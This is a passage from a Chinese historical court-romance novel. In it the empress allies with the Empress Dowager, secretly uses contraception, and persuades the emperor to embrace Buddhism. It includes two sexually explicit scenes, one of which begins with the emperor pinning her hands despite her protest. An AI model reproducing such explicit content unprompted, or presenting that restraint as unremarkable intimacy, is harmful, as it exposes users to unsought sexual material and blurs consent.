“你怎么会……什么时候……你……”段知妘意识到了自己的语无伦次,马上深深吸了一口气,强迫自己镇定下来,然后轻声道,“皇后,那已经是很久以前的事情了。”
“我不在乎。”明绰甚至笑了笑,“我只是好奇太后为什么从来没有身孕。温大人和慧玄法师且不说了,额雅当初可是怀上了陛下的孩子的……”
还从来没有人敢这样在太后面前把她的情人一个一个点出来,段知妘的脸变得苍白,眼中却闪烁着冰凌一般的怒火。
“你到底想说什么?”
“我想让太后教我这个万无一失的法子。”
又是一段沉默,段知妘看着她,困惑,但又新奇。从前她觉得东乡公主聪慧,但是天真,后来气她幼稚,意气用事。但这一刻,是她第一次觉得她不明白这个小丫头。
明绰也站了起来:“我还不想给陛下生孩子。”
段知妘嗤笑了一声,本来也没有打算让皇后亲自生:“那你就选一个人,后宫里这么多……”
明绰说得很简单:“不。”她绝不会再让第二个叱云额雅死去。
段知妘不明白她的意思,挑眉看着她。
明绰:“在我废除‘子贵母死’的祖制之前,乌兰徵不会有孩子。”
段知妘很大声地“哈”了一声,好像觉得她疯了。可是明绰的表情看起来非常坚定,段知妘突然上前一步,轻轻地托起了明绰的脸,很怜爱似的:“傻孩子,他是皇帝啊。若是一直没有太子,国家都会乱的。陛下不会拿国本开玩笑,你不生,他自会去找别人生。他喜欢你三年,五年……也就到头了,你不明白吗?”
明绰不为所动地扭了一下脸,挣脱了段知妘的手:“那我就在这三年五年里废了这条祖制。”
“不可能。”段知妘摇了摇头,“就算我不抢太子,齐木格也不会放过这个机会……”
“所以我会帮太后,先杀齐木格。”
段知妘轻轻地往后一仰头,极其意外的模样,明绰便往前了一步,压低了声音:“这不也是太后心中所想吗?如此用心良苦地同我说起母后,不就是为了东乡这句话吗?”
“你要是不信我对你母亲的感念……”
“我信。”明绰很笃定地点了点头,“可是太后若真是对我母后如此感念,怎么等了两年多,偏偏今夜才说?”
“从前没有这样的时机罢了。”
明绰笑了,今夜的时机也不算好,她们分明是在说慧玄,段知妘硬是扯到了谢拂霜身上。但也正是因为她这么做了,明绰才知道,她可以说后面那番话了。
“没关系,我本就有与太后联手之意。”明绰道,“只要太后愿意帮我,废一条祖制也不难吧?”
“废了以后呢?”段知妘看着她,“太子该由谁所出?”
明绰笑了笑:“我。”
“那你可要牢牢拴住了他。”段知妘歪了歪头,“这世上最留不住的就是男人的心,你不明白吗?”
明绰没有来得及阻止自己,已经脱口而出:“我哪有太后明白?”
这话讥讽之意甚重,其实并非明绰所愿。她知道乌兰徵不再信任段知妘的理由,但她不知道他们之间到底是谁先撇开了谁。是因为出征西海之前乌兰徵移情叱云额雅?还是他远征的时候段知妘搭上了温峻?若是照当日长霄殿内的情形来看,多半还是段知妘先不要乌兰徵了。但话这样由她说出来,便是新人笑旧人。明绰一时间有些懊悔,段知妘看出来了,但她没生气,反而笑了一声。
两年了,这才像个皇后的样子了。乌兰徵其人,段知妘比明绰更了解。当年那般地嘴硬不情愿,可如今建康如此强势,乌兰徵却依然愿意以最高规格的大礼立后,段知妘已经明白了他的心意。说什么男人的心留不住,是想吓唬这小皇后。乌兰徵是个痴心人,他比乌兰郁弗更好控制,权力,地位,专宠,他没什么不舍得给的。以萧明绰的美貌和聪明,盛宠不衰也不是什么难事,只要她身体没什么问题,日后太子一定由她所出。可是萧明绰也说得很明白,她绝不会留出一点让旁人掌控太子的机会。那么这场所谓的“联手”,到最后,太后又能从中得到什么好处呢?
段知妘有很长时间没有说话,明绰看出来了,她还是舍不得这个好处。
“太后别舍不得了,”明绰敛了敛袖子,重新坐了下来,给自己倒了杯茶,“两年前额雅一死,你就已经没机会掌握太子了。”
段知妘脸色更冷了一些,沉默着看着她。
“太后应该比我更清楚,陛下在普达惹氏手中是怎么长大的。额雅宁可自伤也不敢生下太子,便是又提醒了陛下一次他曾经的痛苦。什么大局为重,什么暂时退让,不过都是由头。太后欲效仿普达惹氏,才是与陛下离心的根源。若不让陛下看见太后有悔改之意,恐怕只会越来越离心。到时候太后整日困于西觉寺中,只能照顾公主。我在朝中孤身一人,也难以成事。陛下若是跟别人有了太子,不还是便宜了齐木格吗?不如今日与我共进退,我的儿子,便是太后的孙子,太后还担心孙子以后不孝顺吗?”
段知妘终于笑了:“这么说来,我其实没得选?”这并不是一个问题,所以她也没有等明绰回答,笑意微敛,又道:“你今日才终于像了你母亲的女儿。”
明绰笑了笑,微微垂眸。她还是不够像母后,若是母后,不会虚耗这两年才大彻大悟——可若是母后,也不会在乎叱云额雅的死。
她是萧明绰,她不用做谢拂霜。
“所以,”明绰把话又绕回来,“那万无一失的法子,太后肯教吗?”
段知妘突然转身走进了里间。明绰留在原地,听见里面传出了拉开抽屉的声音,然后是云屏公主睡梦惺忪的咕哝声,似是被母亲吵醒。段知妘温声哄了女儿两句,重新走出来,朝明绰扬了扬手。她袖中飘出来一块裁过的绢丝,轻得如一团云,明绰一时都没意识到有个东西掉出来,接得手忙脚乱。段知妘已重新坐好:“喏,你要的‘万无一失’。”
明绰抓着那块绢丝,一脸的莫名其妙。段知妘眯着眼看她,意识到自己竟然让这么一个其实什么也不懂的小丫头占尽了上风,只有自嘲的苦笑。
“你需要我跟你解释一下男人到底是怎么让女人怀孕的吗?”
“不必。”明绰赶紧道,“我知道。”
“那你就知道这绢丝怎么用了。”段知妘朝她手中一点下巴,明绰愣了一会儿,果然反应了过来。她很想
装作若无其事,但还是整张脸连着耳朵都一起红透了。
“这世上没有什么万无一失的法子。”段知妘不再揶揄了,突然警告似的,“陛下很想要孩子,小心,不要让他发现你背着他做这种事。”
明绰很想问一下具体要怎么样才能……“不让他发现”,但又觉得问出口会被太后笑。
“我明白了。”
“很好。”段知妘便不再多说,笑盈盈地托住了下巴,看着面红耳赤的小皇后,“那就说说吧,你要怎么与我‘共进退’?”
第59章
乌兰徵自寺前下马,远远地见西觉寺住持向他迎来,先用乌兰语低声笑骂了一句,惹得跟在他身后的几个人都笑了起来。
这两年只要有机会,段太后就劝他改宗。严格来说,当年他跟着父亲已经改过一回了,对民间修佛寺、传佛法他也很放任,可是在段太后眼里还是不够。她要乌兰徵自己也诚心礼佛,以佛诞日取代每年庆祝阿瓦神女的生日,最好出征前也能够来庙里上香,而不是向阿瓦神女祭祀祈祷——佛诞日好商量,后一条乌兰徵是无论如何不愿意,也不敢。
本来齐木格对于乌兰徵信什么也没那么在意。当初乌兰郁弗要信佛,齐木格也跟着念阿弥陀佛,乌兰郁弗一死,他就把佛抛到了脑后。但看着段太后这个态度,丞相就把此事上升到了胡汉之别,“乌兰部的尊严”这样的高度。严防死守,不让乌兰徵有机会改宗,于是弄得乌兰徵更心烦。
这两年他在长安的时间也不多,但段太后总能抓着他在的时候召那住持进宫,嗡嗡地在他耳边念经,让丞相知道了呢就又跟着一大篇话。乌兰徵看见那大光脑门就已经开始头痛。
“陛下。”住持跑得微微气喘,合十为礼,“陛下怎么突然……”
乌兰徵把马鞭丢给身后名叫乙满的赤发青年,口中没等住持问完就道:“朕来看看皇后。好好的,怎么病了?”
住持撩起袈裟跟着他大步往前,听见这话,浑是一愣:“病……皇后病了?”
乌兰徵见他这个反应,脚下一顿,皱着眉头看着他。
乙满带头的几个人是乌兰徵留在西海的最后一波将领,以防他走了以后又生叛乱。如今西海无事,贺儿库莫乞守在北镇,东边又等着用兵,就把人都召回来了。今天正商议怎么讨回洛阳呢,突然有个黑衣小僧进了宫来,说是皇后病了。乌兰徵连朝会都没散就骑马过来,乙满带头起哄,说没见过这位萧皇后,非要跟过来。
乌兰徵心里也有数,乙满是齐木格的养子,就算人在西海守了几年,长安哪件事儿他心里不清楚?他对萧皇后能有什么好心?八成就是担心皇后把陛下诱到寺中哄他改宗,这才非要带人跟来。
住持这么说,乌兰徵就抬手摸摸眉毛,一时未动声色,拉着住持的手臂往前拽了几步,压低了声音问他:“皇后人呢?”
住持也不明白为什么要压低声音,但先跟着压低了:“在正殿礼佛呢。”
乌兰徵明白了什么,突然笑了一声。
把皇后一起打发到西觉寺就是一时气不过,他原本以为皇后不愿意,会跟他闹,谁知道萧明绰收拾收拾东西就跟着太后来了。在寺里好几天,信儿也没一个,乌兰徵都不知道怎么办了,可算是让他等着皇后的台阶了。
住持看着陛下突然笑了,又马上敛了笑意,更加一头雾水。乌兰徵便交代他,乙满将军来都来了,也给他们讲讲佛法。然后也不让人跟着,自己往正殿去了。
西觉寺正中央有一座浮图石塔,仿的是天竺国的式样。正殿在塔后,依地势修了台阶,形制又和皇城中的复殿类似,很有气派。佛殿正门大开,殿内一尊三四人高的释迦牟尼鎏金像慈眉垂目,眼眶掏空,镶以琉璃,目光流转间似有佛光。殿侧各有几个僧人在念经,伴随着诵经声,时不时有人敲钵击磐,一派空灵庄严。
明绰就跪坐在佛前,双手合十,闭目而诵。
她假装没听见乌兰徵进来的声音。但其实他一进来,诵经声与钵磐声就都停了,僧人们都朝他行礼。乌兰徵大概是做了什么手势,僧人们便鱼贯出了正殿。明绰听见殿门都被关上了,还是装着潜心礼佛的样子,可是装了好一会儿,殿里一点儿声音也没有。明绰便没忍住悄悄地回头看了一眼,正看见乌兰徵双手环胸,歪着头,好整以暇地看着她。
“皇后好专心啊。”乌兰徵很戏谑地笑了一声,“在求什么?”
明绰让他揶揄得脸上一红,又把头转回去:“自然是求大燕国运昌盛,百姓安定。”
乌兰徵在他背后发出了一声嗤笑,这话太空了,他不信。
明绰继续说:“也求佛祖保佑陛下,从战场上平安回来。”
乌兰徵不笑了:“谁教你这些话的?”
除了段太后还能有谁。但是明绰十分嘴硬:“这都是臣妾衷心所愿,没有人教。”
不得了,都称上“臣妾”了。乌兰徵眉毛高高地一挑,一时说不上来什么滋味。萧明绰突然温驯了,他反而觉得怪怪的。
“不是病了吗?”乌兰徵又问她,“怎么了?”
明绰轻轻地咬住了下唇,这会儿呢她应该继续示弱,说这个病是她知道自己错了,日夜反省,思念陛下,以泪洗面,祈求佛祖原谅……但她真的说不出口了。
到此时她才在心中对段太后有了另一番钦佩,要是这种话她都能面不改色心不跳地说出来,那确实不是一般的本事。
乌兰徵又道:“看来皇后没有病啊,把朕骗来做什么?”
明绰深吸一口气,实在装不来了,合十为礼的手猛地放下,站起来瞪着乌兰徵。他又称“朕”了。明绰嘴一撇,也不知道哪来一股委屈,就觉得这个字刺耳得很。乌兰徵看着她,总算觉得这个萧明绰熟悉了一点儿,虽然那模样一看就没好话等着他。
“还能干什么!”果然,皇后一张嘴又犯上了,“当然是骗你来改宗!”
乌兰徵没忍住笑了出来,然后又故意绷住脸,道:“就没别的事了?”
明绰又不肯说话了。那天晚上的事情她也告诉太后了,说了一半留了一半,没敢让太后知道她心中还有别人,只是说那天哭了,扫了陛下的兴致才惹了陛下不高兴。段知妘笑得前仰后合,只说这种小事,说上两句软话就好了。可是怎么到了乌兰徵面前,她就是说不出来一句软话。
乌兰徵便作势要走:“没事那朕就走了。”
明绰赶紧追上去:“慢着!”
乌兰徵就等着她来追,顺势把人往怀里一抱,明绰还没反应过来,已经被他推到了门上,乌兰徵整个人都压上来,又问了一遍:“真没别的事了?”
明绰的手抵在他肩上,却又没有真用力推,脸已经红了,小声道:“陛下到底想让我说什么?”
装模作样。乌兰徵有些牙痒,在她腰上环得更紧,低头看着她,眼中带了一点儿凶光。明绰扭头避开他,从他肩上看见佛像的眼神也看着她,她顿时有一种被看破了什么的羞窘,想挣开乌兰徵:“陛下,别……”
她一挣,乌兰徵就制住了她两只手,不让她动:“你还是不愿意?”
明绰脸上更红了,觉得乌兰徵不讲道理。她愿不愿意也得看是什么地方吧!
“我没有……”
她刚想解释,但乌兰徵好像就只听见了这几个字,倾身封住了她接下来的话。他吻得好凶,全然没有了那天晚上的耐心和温柔。明绰一时都忘了要把他推开,只觉得大脑一片空白,所有的感官却都清晰了百倍,释迦牟尼越过乌兰徵的肩头看着她,有人只隔着一道门在说话。她的手不自觉地伸出去,环住了乌兰徵的脖子,乌兰徵的身体便紧紧地贴上来。明绰突然感觉掌心好痒,他腰背上那
条疤活了,自己爬进了她的手心。
“怎么伤的……?”
乌兰徵顿了顿,唇瓣若即若离地分开了一点,鼻尖挨着她的鼻尖,眼中映着她的眼睛。不知道为什么,他马上就明白了她在问什么,轻声道:“流矢擦了一下,没事。”
“不是有甲吗?”
乌兰徵笑了,鼻尖蹭了蹭她的。他骑马作战,从来只着轻甲,且不说甲也有拼合的缝隙,护不住全身,就算能护住,轻甲也很容易被飞箭击穿。但他不想在这个时候跟明绰解释这个。
明绰突然又道:“我父皇也是被流矢所伤。”
乌兰徵眼中蓦地一动,好一会儿,让她放心似的:“只有羌人会在箭上喂毒,拔拔真没那么下作。”
明绰低下头,不知道该说什么了。她谈不上多信佛,但是从小长起来,真遇到只能听命的事情,也还是会求佛。方才那话只是段知妘教她来哄乌兰徵高兴的,但是此时此刻,她竟然真真切切地出一股虔诚,想求佛祖看着他,箭矢不要飞向他,刀剑也不要伤到他。
但乌兰徵不让她低头,他把明绰的下巴抬起来,再一次吻住。门外说话的声音又响了一些,乙满叫了一声“可汗”,明绰吓了一跳,又想挣开。但是乌兰徵更紧地把人制住,突然抓了她的裙子,往上提,然后不由分说地伸到了她裙下。
明绰脸上像是要烧起来,声音都发了抖:“乌兰徵!”
可是乌兰徵不理她,也不理外面的乙满。她的手本来紧紧掐住了乌兰徵的手腕,试图阻止他做他要做的事情,最终又放开,只是抓住了他的衣角。骑装轻便,用的是上好的轻罗,在她掌心揉皱成一团。她主动倾身,还想吻他,乌兰徵却不要,只是看着她如何越喘越急,眉头紧皱,咬住了下唇不肯发出声音,然后轻轻地往后一靠,把头抵在了门上,仰起脸,渴水似的张开了嘴,眼中一片雾蒙蒙的湿意。释迦牟尼仍然低头看着她,眉目慈祥,唇带微笑,眉心一点毫光。明绰一时只看见那一点毫光,如弄弦拨琴般,反复摩挲。
她的眼神放空了,乌兰徵便又改了主意,突然又吻住她,把她下唇咬痛,恶狠狠地一字一顿:“不许,再想,别人。”
明绰回过神来,在他唇畔轻喘:“那不公平。”
乌兰徵手上更用力,看着她全身都忍不住轻轻发颤:“什么不公平?”
明绰突然把他抱得很紧,脸埋进了他颈窝中:“那你也不许再想别人!”
乌兰徵一时怔住,只觉得她话里紧紧地绷着什么,强烈的情绪被掩在欢愉中,近乎咬牙切齿的恨。他想问这是什么意思,可是乙满在外面喊,让他别信可敦的话。他的声音太近了,简直快要破门而入。明绰突然浑身绷紧,一口咬在了他的肩膀上。隔着衣服,不疼,却像是有什么尖利的东西突然穿透了他整个人。她抖得太厉害,全身的重量都挂在了乌兰徵身上,他终于停了停,安抚似的,抱着她,在她耳边道:“我没有‘别人’。”
明绰的脸颊紧紧地贴着他的颈窝,不肯让他看见自己的表情,只是摇头:“我不许!”
乌兰徵笑了,很慢地重新开始手上的动作:“皇后不许什么?”
明绰不满地拖长声音哼了一声,又道:“我是妒妇,不是贤后。从前就算了,以后陛下要是再去宠幸别的女子,还不如现在就把我一直关在西觉寺!”
她好不容易顺畅地说完两句,鼻子里没忍住又哼了一声,黏黏糊糊地近乎哀求:“不要了……”
乌兰徵便没说什么,终于放下了她的裙子,把手伸了回来。明绰一把抓住他的手,忙不迭地用自己的袖子一裹,不让他看。但是乌兰徵不用看也知道指尖一片湿滑,见她羞成这样,又想调笑两句,又怕她真恼。明绰的表情已经快要哭出来了:“佛门清净地,你怎么……”
她话没说完,乙满又叫了一声“可汗”,还夹杂着住持劝阻的声音。明绰吓得又缩起来,乌兰徵终于不耐烦地朝乙满喊了一声,让他滚。
明绰还是把脸埋在他颈窝里,声音委屈得不得了:“我还要害你不成,他干什么呀……”
乌兰徵便道:“他怕你哄我剃度。”
明绰好一会儿没说话。段太后确实交代了她,既然陛下把她也打发来西觉寺了,倒是个机会,要她趁机劝陛下彻底改了信佛,将乌兰部原本的信仰一并废除。刚才说的虽然是气话,但也是真话。
乌兰徵不知道她在想什么,只道:“跟我回去。”
他一刻也不想再让她在这里呆着了。
明绰跟他分开一些,看着他,两颊的红晕已经褪了许多,脑子又清楚了。
“说让我来我就得来,说回去我就得回去?”明绰把人一推,十分理直气壮,“我住得挺好,不想回去了!”
乌兰徵措手不及,“啊?”了一声,然后飞快地放软了声音:“好好好,是我错了……”
明绰“啪”地打掉了他又想抱上来的手:“陛下今日还是赶紧回去吧,明日再来。”
“再来……”乌兰徵彻底糊涂了,试探着问了一句,“做什么?”
明绰脸红了,佯怒道:“听法师讲经!”
乌兰徵无奈了,感觉好像还是让乙满料中,萧皇后这里全是陷阱。但要他此刻说不来,又是千百个不愿意。明绰理了理裙子,转身把门打开。乙满果然守在门外,也是一惊,然后马上反应过来。他汉话倒是说得比养父好许多,未失礼数,低头道:“皇后。”
明绰只当没听见,回头又对乌兰徵道:“不许带……”她不知道乙满的名字,顿了顿,没好气地瞪了一眼这人显眼的赤发,压低了声音,几乎是从牙缝里挤出来一句话。
“不许带这红毛鬼!”
第60章
“有世界名曰极乐。其土有佛号阿弥陀。今现在说法。舍利弗。彼土何故名为极乐。其国众生无有众苦。但受诸乐。故名极乐……啊……”
乌兰徵仰头问她:“舍利弗是什么?”
明绰笑了一声,语气嗔怪:“佛陀的大弟子,刚刚才说过,陛下没有认真听。”
乌兰徵便点点头:“你接着讲。”
明绰被他打断,一时想不起下面的经文是什么。
她要乌兰徵来听经,乌兰徵来了。住持亲自上阵给陛下、皇后讲经,明绰便把云屏公主一道抱去了。云屏公主年纪太小了,坐不住。她不怕明绰,唯独乌兰徵对她还有几分震慑之力。于是整个过程云屏公主都坐在陛下身边,小脸使劲作出严肃的表情,学着兄长正襟危坐。
碍着妹妹,乌兰徵连出格的话都不好跟明绰多说一句,明绰有意吊着他,只叫他接着来听讲经。来了几天,朝中就有人坐不住了。丞相拦不住陛下,只能亲自跟来。连他都来了,其他人看出风向,也赶紧跟来。这里面有不少人当初是跟着乌兰郁弗改过一次了,对于佛家已经接受了一半。如今西觉寺中大设道场,专门招待这些乌兰权贵。陛下却又去了清心居,说是有灵智无上法师亲自给陛下解惑。
话是这样说,但灵智无上法师就没露过面。清心居无人伺候,乌兰徵进来就只见皇后,说法师已经给她讲过《佛说阿弥陀经》,所以由她来给陛下解惑。话没说上两句已经被拉着跨坐到乌兰徵身上,衣裙都还穿得好好的,颈下三寸遍布红痕。
“又舍利弗。极乐国土。七重栏楯。七重罗网。七重行树……哈啊!——皆是四宝。周匝围绕……疼!”
乌兰徵不信似的:“还疼?”但马上就依言停下,
明绰缓了口气,在他背上打了一下。太后说安排陛下来清心居的时候,明绰心里有点儿不高兴。陛下做了太后想要他做的事情,这是“奖励”,她意识到自己就是那个奖励。虽然提前准备了绢丝,但还是不想真的在这
清心居里做什么。可是事情的发展根本由不得她控制——倒不是乌兰徵强迫了什么,明绰更恼的是自己。被太后当成“饵”的那一丝不悦在乌兰徵吻她的一瞬间就烟消云散了,她主动跨坐在乌兰徵身上,也是主动解开了他的腰带。
明绰心里还有别的担心,怕他发现绢丝,又怕之后绢丝会取不出来,便不敢投入。她分心,乌兰徵是感觉得出来的。可她又不肯承认是想着别人,只是面上越来越红。乌兰徵没忍住伸手在她颊上轻抚,像抓住一团云,想她回神。云里却生了利齿,突然侧过脸,作势狠狠地咬住他一截手指,最后却只是用牙关衔了衔。乌兰徵想起那日她在肩头的一口,突然笑起来:“怎的喜欢咬人。”
明绰唇齿间含糊,只道:“学你。”
他把她颈下胸口咬得都是红痕,她也要咬回去。乌兰徵任她咬手,指腹触到她舌尖,缠绕似的一搅,她便松了口,软在他肩上,仍是说疼。
乌兰徵呼吸渐重,手掐住她腰上,轻声道:“那你自己来。”
“我怎么……?”
“就像骑马一样。”乌兰徵手牵引着她的腰。
“陛下言而无信。”明绰突然想起来,“当日还说要教我骑马,后来也没有……啊!”
“嗯。”乌兰徵仰头吻她唇角,十分厚颜,“现在不是在教?”
明绰哼出了声音,又不肯就此泄露出失神,跟他较劲似的,仍旧往下说。经文背得烂熟,如倾倒的水,流出来,不需要思考:“极乐国土有七宝池。八功德水充满其中。池底纯以金沙布地。四边阶道,金银琉璃玻璃合成……啊,上,上有楼阁……亦以金银……嗯啊!金银琉璃,玻璃砗磲……赤……啊!”
“赤珠玛瑙。”乌兰徵替她说完。
明绰咬住下唇,不肯再发出这样的声音。乌兰徵已读过《佛说阿弥陀经》,佛经许诺往生时有阿弥陀佛接引前往极乐之土,痛苦全消,华丽庄严,光明慈悲……和乌兰人的信仰倒有相似之处,他们也有生着翅膀的骏马,把死去的人驮着飞向神女湖边,那里的绿草绵延没有尽头,永远有香甜的果实与马乳。
乌兰徵一本正经跟她辩经:“往生以后,金银琉璃,赤珠玛瑙又有何用?不如回到神女湖畔。”
“天竺国人喜欢金银玛瑙,才这样说。若你喜欢青草湖泊,极乐佛国也自有青草湖泊。”
“哦?”乌兰徵挑了挑眉,“原来佛陀也知道投人所好,以利相诱。”
“你……”明绰恼他说得世俗,只好耐着性子,“那是佛的慈悲。”
乌兰徵不理会这句,只问:“那你的极乐佛国会是什么样子?”
明绰还从未想过这个问题,上阳宫和长秋殿如今已经越来越相似,这世上似乎并无她一定要回去的归处——更何况,死后极乐什么的,她不能说不信,但也不全信。佛说人若发愿,便得自在清静,可她太父一生笃信,走的时候还是贪嗔痴苦,满身业障。
她看着乌兰徵的眼睛,就在此时突然产生了一种莫名的艳羡和失落。神女湖到底是什么样的?像他的眼睛一样吗?他心里永远都会这样一片湖,她却没有见过,似乎也永远无法抵达。
“我自然是与陛下同归,陛下的极乐,便是我的极乐。”明绰轻声道,“可惜我从未去过神女湖……”
乌兰徵动作微滞,看了她一会儿,突然道:“以后带你去。”
明绰似笑非笑:“陛下向来言而无信,我不敢信了。”
乌兰徵的手在她腰上收得更紧:“那就别住在这里念经,回去,我教你骑马。”
明绰扭腰,想挣开他,却把自己磨得手脚发了软。乌兰徵看她忍耐,偏要作弄得更厉害,压低声音道:“在自己家里,你想怎么叫怎么叫。”
明绰马上伸手去捂他的嘴,乌兰徵有样学样,也衔住她的手指。明绰顺手在他颊边轻拍,拍完自己都是一愣,怕这动作过分,他恼了。乌兰徵却抓了她的手,贴着颊边在腕上嗅了嗅,轻声道:“好香。”
明绰脸上更红,轻声斥道:“别不要脸!”
乌兰徵抬头看她一眼,戏谑地扬了扬眉毛,干脆放开她,整个人往后,以手肘撑住上半身,好整以暇地看着明绰,一副“要脸”了的样子。明绰马上就要从他身上下来,但是被乌兰徵眼疾手快地抱住,明绰没忍住笑出声来,笑声又很快变了调,只好紧紧揽着乌兰徵的脖子。乌兰徵这才安抚似的捋她的背,与她紧紧相依了一会儿,轻声道:“为何你也要我改宗?”
“陛下真心信了佛,西海诸部才会信。”
“为何非要我们都信?”乌兰徵语气无奈,“我们信我们的,你们信你们的,两不干涉不就好了?”
明绰整个人都窝在他怀里:“陛下也不是不知道,温峻这两年总领汉学,掣肘颇多……”
“汉话难学,”乌兰徵又道,“丞相他们又有年纪,一时半会儿学不会也不能强求吧?”
“陛下也知道汉话难学,愿学都不一定学得会,何况还不愿学?”明绰手臂环上去,把人缠得更紧,感觉到他又要说什么,马上撒娇似的哼了两声,乌兰徵果然拿她没办法似的,闭了嘴听她往下说,“也不是汉人就这样霸道,非要你们学汉话。可是西海诸部没有文字,政令通传,律法修订,只能用汉文。若是乌兰权贵都一句‘学不会’,国家还怎么治理啊?”
乌兰徵神色更是无奈。这道理他也不是不知道,所以从上一代开始就已经推行归汉了。可是还是那句话——那帮老头儿就是学不会,他能怎么办呢?天下总没有因为功臣太笨而杀功臣的道理吧?
“那和我信佛有什么关系?”
“佛法也不是我们汉人想出来的,是从天竺国来的。”明绰跟他有条有理地讲,“大家都信一个别的地方来的东西,就公平了。西海人也不必觉得事事都顺着汉人来。信了一样的佛,彼此交游、通婚,一代两代人下去,消弭了心中‘非我族类’的成见,国家才能安定长久。”
乌兰徵不说话,感觉已经快要被她说服了,但一想到要彻底抛弃阿瓦神女的信仰,心中还是有些惴惴难安。当年就是乌兰郁弗也没有敢真的完全“废除”神女,尤其西海人这么多年根深蒂固地相信阿瓦神女能庇佑战争的顺利,不是一朝一夕就可以改变的。天下未定,四海未平,乌兰徵比任何人都知道气运与天意对于战局的影响。要他如此激进,他心中确实有顾虑。
明绰看着他的表情就知道他在想什么,又柔声道:“陛下是开明圣主,心中尚有疑虑。其余凡俗人,肯定更是狭隘偏激。若不采取手段,岂不是……”
乌兰徵笑了一声:“开明圣主?”
明绰眨眨眼,朝他笑:“陛下不是吗?”
乌兰徵摇着头直笑,他这皇后,有事要哄就是开明圣主,没事就拍一巴掌还骂他不要脸。
“现在不疼了?”
明绰被他问得一愣,然后马上被他的动作提醒了什么“不疼”。她一时没忍住一声呻|吟,想把脸埋进乌兰徵颈窝里,但是乌兰徵捏住她的下巴,有意看她难耐,又问:“《阿弥陀经》还说往生以后能有什么?”
“陛下……啊!陛下想错了……”
“哪里错?”
“极乐佛国不一定在往生之后。”明绰双手抵住他的肩膀,抗拒他重新占据主导权,重重地喘了几口气,“若是心净,现生修行亦可……啊,慢点,亦可交感极乐佛国,净土在……在心中,乌兰徵,你慢——!”她的尾音被自己的一声惊呼淹没,乌兰徵突然托住她的后脑,一翻,把她摁倒在地上。明绰一下子抻起脖子,发髻散开,步摇歪下来,随着她的动作晃了两下,却始终被发丝缠绕。
乌兰徵吻到她心跳的位置:“皇后的心可净?”他不让明绰答话,声音
随着每一下的力道而绷紧,“可见极乐?”
明绰不自觉蹬了蹬脚,只觉得一股酸麻自脚底而起,非得如此才能摆脱。口中又似撒娇,又似怨他:“陛下既然怎么都不肯信,那我不讲了。”
乌兰徵伸手把那根步摇拔下来,手指抚弄她的长发。他也在喘,心如鼓擂,隔着衣服传递到明绰手心。
“你信,我便也信。”
明绰心里有极大的震动,一时不想骗他,只道:“我是愿信的。”
“那便还是不信。”
明绰顿了顿,十分笃定,承诺什么似的:“若有人已发愿、今发愿、当发愿,欲生阿弥陀佛国者,是诸人等,皆得不退转于阿耨多罗三藐三菩提。”
乌兰徵便没再说话,他挨得太近,光也照不进眼眸中,眸色不再那样蓝,明绰一时只看到他眼中的自己。灭顶之灾如浪潮涌,反而淹没了她所有的声音。他俯身贴住了她微微汗湿的鬓发,轻声念完了经文的最后一段。
“闻佛所说,欢喜信受。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
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第61章
明绰走进太后的厢房时,听到的第一句话,就是乌兰徵下令大办佛诞日的消息。除此以外,陛下不顾丞相的反对,鼓励西海权贵们出资礼佛,拿出钱来在长安城中再建佛寺。西觉寺想在寺外山壁上凿窟供佛像,乌兰徵也准了。
虽然还是没有像段太后希望的那样“彻底废除”神女信仰,但已经是陛下的明确表态,从此以后,朝中风向必会大变。段知妘浑身上下都透着快活,对皇后十分亲热,留她一道吃饭。
云屏公主跟明绰相处得多了,也不烦她了,一口一个“姐姐”。乌兰语中的“姐姐”和“阿嫂”是同一个词,她见母亲和皇后说汉话,便也说汉话,但小孩子学混了词,明绰也觉得没什么必要非纠正她,喜欢听她喊姐姐,吃个饭也要把她抱在怀里说话。段知妘在旁边看着,嘴角的笑就没下来。
“瞧你气色都好许多。”她突然开口,打趣似的口吻,“有了滋润,到底不一样。”
明绰脸上一红,给了太后一个又可笑又可气的眼神。乌兰辉没听懂言外之意,抬头看她,竟然也跟着煞有介事地点点头:“姐姐好看。”
两个大人都笑起来,段知妘捏了捏女儿的脸,问她:“姐姐好看还是娘好看?”
乌兰辉“嘻嘻”地笑,缩在明绰怀里,眼睛滴溜溜转,很机灵地讨两边的欢心:“都好看。”
“油嘴滑舌的小东西。”
乌兰辉一边躲一边笑:“辉儿也好看。”
明绰没忍住在她脸上狠狠亲了一下。第一次看见这小女孩儿的时候,她脸上西海人的特征还没有这么明显,这两年稍稍长开,就很看得出来了。眉眼和鼻子跟乌兰郁弗的画像一模一样,和乌兰徵三个摆在一块儿,一看就是一家人。但嘴巴和脸型更像段知妘,看得出来,以后必定是个大美人。
热热闹闹地吃完了一顿饭,段知妘便让乳母先把公主抱走。明绰没着急走,又留下来喝了一盏茶。乌兰徵已经下了旨,要皇后回宫。她想着,要乌兰徵把太后一起接回宫。
“急什么,”段知妘拿着剪子,正修自己养的花,“别把齐木格惹急了。我暂且在寺里住着,无妨,你回去吧。”
“可是……”
段知妘转回头看了她一眼,唇边似笑非笑的:“皇后心里既然想着我,我早晚能回去。”
明绰便笑了笑:“自然。”
段知妘继续修剪花枝:“你说的那套‘三淑九嫔’制,留谁放谁,心里可定下了?”
“定下了。”
这就是明绰一回去就要跟乌兰徵提的第一件事。她仿朝堂上的“三公九卿”制度,为每个妃嫔都定下品阶和待遇,最多立十二个,其余的一并遣送回家。
乌兰徵登基的时候,西海诸部向新可汗进献了部落中的女儿,以示效忠。当初他在西海征战,段太后的态度是照单全收,在宫里养着就行。乌兰部也没有正式的妃嫔制度,大家都是一样的。明绰刚到长安的时候和这些西海的女子相处了半年,她们的年纪都还很小,被迫远离了家乡。别说得到乌兰徵的宠幸,相当一部分人连可汗的面都没见过。
后宫里的女人太多了,乌兰徵现在看起来心里只有她一个人,但明绰并不相信他。但她也不想让这些女人就这样被活埋在长安宫里,她要把她们都送回去。
如果当初她有机会,她多么想把额雅也送回家乡。
段太后等了一会儿,似乎以为皇后会给她汇报一下准备留谁放谁,但明绰看起来并没有这个意思,她便也没追问,只道:“丞相会说,你破坏了西海诸部的团结,居心不良。你想好怎么反驳了吗?”
“我和丞相语言都不通,反驳什么?”明绰语气平淡,似是全然没有放在心上,“自然是交给陛下裁定。”
段知妘手里的剪子“咔嚓”一声,剪下了一截细枝,被她笑着随手丢掉了。她两年前就发现了,萧明绰在这事儿上有一些她没想过的手段。从前段知妘和齐木格争斗,齐木格往往以不通汉话为由拒绝和太后沟通,太后只好以乌兰语与他争执,不知不觉间就已经被他占了上风。萧明绰偏偏反其道而行——你既然不会说,那就干脆别说了。
